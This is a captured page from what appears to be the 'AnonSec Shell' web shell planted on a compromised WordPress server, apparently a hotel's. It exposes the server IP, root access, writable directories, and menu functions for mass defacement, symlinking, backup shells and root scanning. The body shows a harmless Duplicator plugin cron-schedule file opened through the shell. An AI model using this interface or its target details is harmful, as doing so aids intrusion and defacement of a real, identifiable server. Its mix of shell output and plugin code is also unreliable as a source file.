AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/duplicator/src/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/duplicator/src/Utils/CronUtils.php
<?php

namespace Duplicator\Utils;

class CronUtils
{
    const INTERVAL_DAILTY  = 'duplicator_daily_cron';
    const INTERVAL_WEEKLY  = 'duplicator_weekly_cron';
    const INTERVAL_MONTHLY = 'duplicator_monthly_cron';

    /**
     * Init WordPress hooks
     *
     * @return void
     */
    public static function init()
    {
        add_filter('cron_schedules', array(__CLASS__, 'defaultCronIntervals'));
    }

    /**
     * Add duplicator pro cron schedules
     *
     * @param array<string, array<string,int|string>> $schedules schedules
     *
     * @return array<string, array<string,int|string>>
     */
    public static function defaultCronIntervals($schedules)
    {
        $schedules[self::INTERVAL_DAILTY] = array(
            'interval' => DAY_IN_SECONDS,
            'display'  => __('Once a Day', 'duplicator'),
        );

        $schedules[self::INTERVAL_WEEKLY] = array(
            'interval' => WEEK_IN_SECONDS,
            'display'  => __('Once a Week', 'duplicator'),
        );

        $schedules[self::INTERVAL_MONTHLY] = array(
            'interval' => MONTH_IN_SECONDS,
            'display'  => __('Once a Month', 'duplicator'),
        );

        return $schedules;
    }
}

Anon7 - 2022
AnonSec Team